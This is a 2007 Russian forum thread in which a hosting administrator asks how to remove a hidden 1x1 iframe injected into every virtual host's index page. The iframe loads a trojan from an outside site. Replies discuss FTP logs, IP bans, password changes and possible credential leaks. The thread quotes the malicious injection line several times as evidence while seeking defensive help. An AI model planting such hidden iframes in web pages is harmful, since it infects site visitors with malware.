forum.opennet.ru - "Вирус? Как избавиться? Помогите! срочно!" (4)

форумы

помощь

поиск

регистрация

майллист

вход/выход

слежка

"Вирус? Как избавиться? Помогите! срочно!"

Форумы WEB технологии (Public)
Вариант для распечатки		Пред. тема \| След. тема
Изначальное сообщение		[ Отслеживать ]

"Вирус? Как избавиться? Помогите! срочно!"		+/–
Сообщение от visitor (ok) on 21-Май-07, 13:36
Здравствуйте. На всех индексных страницах вирт. хостов появилась строка: echo "";echo "";echo "";echo "";echo "<iframe src='http://www.radiodeejay.hr/forum/lang/inexed.htm' width=1 height=1></iframe>"; Может кто-нибудь знает каким образом? Как от этого избавиться? Потому что человек который попадает на сайт засасывает к себе трояна !!! :((( Заранее спасибо.
Высказать мнение \| Ответить \| Правка \| Cообщить модератору

Оглавление

Вирус? Как избавиться? Помогите! срочно!, vitaly, 16:30 , 21-Май-07, (1)

Вирус? Как избавиться? Помогите! срочно!, visitor, 18:38 , 21-Май-07, (2)

Вирус? Как избавиться? Помогите! срочно!, vitaly, 14:11 , 22-Май-07, (3)

Вирус? Как избавиться? Помогите! срочно!, idle, 14:40 , 22-Май-07, (4)

Сообщения по теме [Сортировка по времени | RSS]

1. "Вирус? Как избавиться? Помогите! срочно!" +/–

Сообщение от vitaly (??) on 21-Май-07, 16:30

На сервере возможно стоит троянец.
Это изменение действительно прошло на индексных страницах _всех_ виртуальных хостов?
Даты модификации файлов есть? Они совпадают?
>Здравствуйте.
>На всех индексных страницах вирт. хостов появилась строка:
>echo "";echo "";echo "";echo "";echo "<iframe src='http://www.radiodeejay.hr/forum/lang/inexed.htm' width=1 height=1></iframe>";
>
>Может кто-нибудь знает каким образом? Как от этого избавиться? Потому что человек
>который попадает на сайт засасывает к себе трояна !!! :(((
>
>Заранее спасибо.

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

2. "Вирус? Как избавиться? Помогите! срочно!" +/–

Сообщение от visitor (ok) on 21-Май-07, 18:38

>На сервере возможно стоит троянец.
>Это изменение действительно прошло на индексных страницах _всех_ виртуальных хостов?
>Даты модификации файлов есть? Они совпадают?
>
>>Здравствуйте.
>>На всех индексных страницах вирт. хостов появилась строка:
>>echo "";echo "";echo "";echo "";echo "<iframe src='http://www.radiodeejay.hr/forum/lang/inexed.htm' width=1 height=1></iframe>";
>>
>>Может кто-нибудь знает каким образом? Как от этого избавиться? Потому что человек
>>который попадает на сайт засасывает к себе трояна !!! :(((
>>
>>Заранее спасибо.
на некоторых индексных страницах их нет.
после удаления строки с ифрэймом она появляется снова.
Посмотрел по логам ftp сервера увидел ип которым модифицировались все индексные страницы.
Загнал его в фаерволом в бан. Есть мысль запустить ftp сервер на нестандартном порту и сменить ftp пароли.
Может еще что посоветуете?

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

3. "Вирус? Как избавиться? Помогите! срочно!" +/–

Сообщение от vitaly (??) on 22-Май-07, 14:11

Добрый день!
Мы встречали такую проблему у других хостеров. До сих пор определить причину не удалось.
Пришлите пожалуйста ваши координаты, чтоб связаться с вами напрямую. Вместе мы можем попытаться установить источник проблемы.
Предположительно два варианта:
1) утечка базы паролей пользователей.
2) подслушивание ftp-сессии на крупном маршрутизаторе.
С уважением,
Виталий
>>На сервере возможно стоит троянец.
>>Это изменение действительно прошло на индексных страницах _всех_ виртуальных хостов?
>>Даты модификации файлов есть? Они совпадают?
>>
>>>Здравствуйте.
>>>На всех индексных страницах вирт. хостов появилась строка:
>>>echo "";echo "";echo "";echo "";echo "<iframe src='http://www.radiodeejay.hr/forum/lang/inexed.htm' width=1 height=1></iframe>";
>>>
>>>Может кто-нибудь знает каким образом? Как от этого избавиться? Потому что человек
>>>который попадает на сайт засасывает к себе трояна !!! :(((
>>>
>>>Заранее спасибо.
>
>на некоторых индексных страницах их нет.
>после удаления строки с ифрэймом она появляется снова.
>Посмотрел по логам ftp сервера увидел ип которым модифицировались все индексные страницы.
>
>Загнал его в фаерволом в бан. Есть мысль запустить ftp сервер на
>нестандартном порту и сменить ftp пароли.
>Может еще что посоветуете?

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

4. "Вирус? Как избавиться? Помогите! срочно!" +/–

Сообщение от idle (ok) on 22-Май-07, 14:40

>Здравствуйте.
>На всех индексных страницах вирт. хостов появилась строка:
>echo "";echo "";echo "";echo "";echo "<iframe src='http://www.radiodeejay.hr/forum/lang/inexed.htm' width=1 height=1></iframe>";
>
>Может кто-нибудь знает каким образом? Как от этого избавиться? Потому что человек
>который попадает на сайт засасывает к себе трояна !!! :(((
>
>Заранее спасибо.
http://vitafil.habrahabr.ru/blog/8158.html

Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Индекс форумов | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру

1. "Вирус? Как избавиться? Помогите! срочно!"		+/–
Сообщение от vitaly (??) on 21-Май-07, 16:30
На сервере возможно стоит троянец. Это изменение действительно прошло на индексных страницах _всех_ виртуальных хостов? Даты модификации файлов есть? Они совпадают? >Здравствуйте. >На всех индексных страницах вирт. хостов появилась строка: >echo "";echo "";echo "";echo "";echo "<iframe src='http://www.radiodeejay.hr/forum/lang/inexed.htm' width=1 height=1></iframe>"; > >Может кто-нибудь знает каким образом? Как от этого избавиться? Потому что человек >который попадает на сайт засасывает к себе трояна !!! :((( > >Заранее спасибо.
Высказать мнение \| Ответить \| Правка \| Наверх \| Cообщить модератору


	2. "Вирус? Как избавиться? Помогите! срочно!"		+/–
	Сообщение от visitor (ok) on 21-Май-07, 18:38
	>На сервере возможно стоит троянец. >Это изменение действительно прошло на индексных страницах _всех_ виртуальных хостов? >Даты модификации файлов есть? Они совпадают? > >>Здравствуйте. >>На всех индексных страницах вирт. хостов появилась строка: >>echo "";echo "";echo "";echo "";echo "<iframe src='http://www.radiodeejay.hr/forum/lang/inexed.htm' width=1 height=1></iframe>"; >> >>Может кто-нибудь знает каким образом? Как от этого избавиться? Потому что человек >>который попадает на сайт засасывает к себе трояна !!! :((( >> >>Заранее спасибо. на некоторых индексных страницах их нет. после удаления строки с ифрэймом она появляется снова. Посмотрел по логам ftp сервера увидел ип которым модифицировались все индексные страницы. Загнал его в фаерволом в бан. Есть мысль запустить ftp сервер на нестандартном порту и сменить ftp пароли. Может еще что посоветуете?
	Высказать мнение \| Ответить \| Правка \| Наверх \| Cообщить модератору


	3. "Вирус? Как избавиться? Помогите! срочно!"		+/–
	Сообщение от vitaly (??) on 22-Май-07, 14:11
	Добрый день! Мы встречали такую проблему у других хостеров. До сих пор определить причину не удалось. Пришлите пожалуйста ваши координаты, чтоб связаться с вами напрямую. Вместе мы можем попытаться установить источник проблемы. Предположительно два варианта: 1) утечка базы паролей пользователей. 2) подслушивание ftp-сессии на крупном маршрутизаторе. С уважением, Виталий >>На сервере возможно стоит троянец. >>Это изменение действительно прошло на индексных страницах _всех_ виртуальных хостов? >>Даты модификации файлов есть? Они совпадают? >> >>>Здравствуйте. >>>На всех индексных страницах вирт. хостов появилась строка: >>>echo "";echo "";echo "";echo "";echo "<iframe src='http://www.radiodeejay.hr/forum/lang/inexed.htm' width=1 height=1></iframe>"; >>> >>>Может кто-нибудь знает каким образом? Как от этого избавиться? Потому что человек >>>который попадает на сайт засасывает к себе трояна !!! :((( >>> >>>Заранее спасибо. > >на некоторых индексных страницах их нет. >после удаления строки с ифрэймом она появляется снова. >Посмотрел по логам ftp сервера увидел ип которым модифицировались все индексные страницы. > >Загнал его в фаерволом в бан. Есть мысль запустить ftp сервер на >нестандартном порту и сменить ftp пароли. >Может еще что посоветуете?
	Высказать мнение \| Ответить \| Правка \| Наверх \| Cообщить модератору

4. "Вирус? Как избавиться? Помогите! срочно!"		+/–
Сообщение от idle (ok) on 22-Май-07, 14:40
>Здравствуйте. >На всех индексных страницах вирт. хостов появилась строка: >echo "";echo "";echo "";echo "";echo "<iframe src='http://www.radiodeejay.hr/forum/lang/inexed.htm' width=1 height=1></iframe>"; > >Может кто-нибудь знает каким образом? Как от этого избавиться? Потому что человек >который попадает на сайт засасывает к себе трояна !!! :((( > >Заранее спасибо. http://vitafil.habrahabr.ru/blog/8158.html
Высказать мнение \| Ответить \| Правка \| Наверх \| Cообщить модератору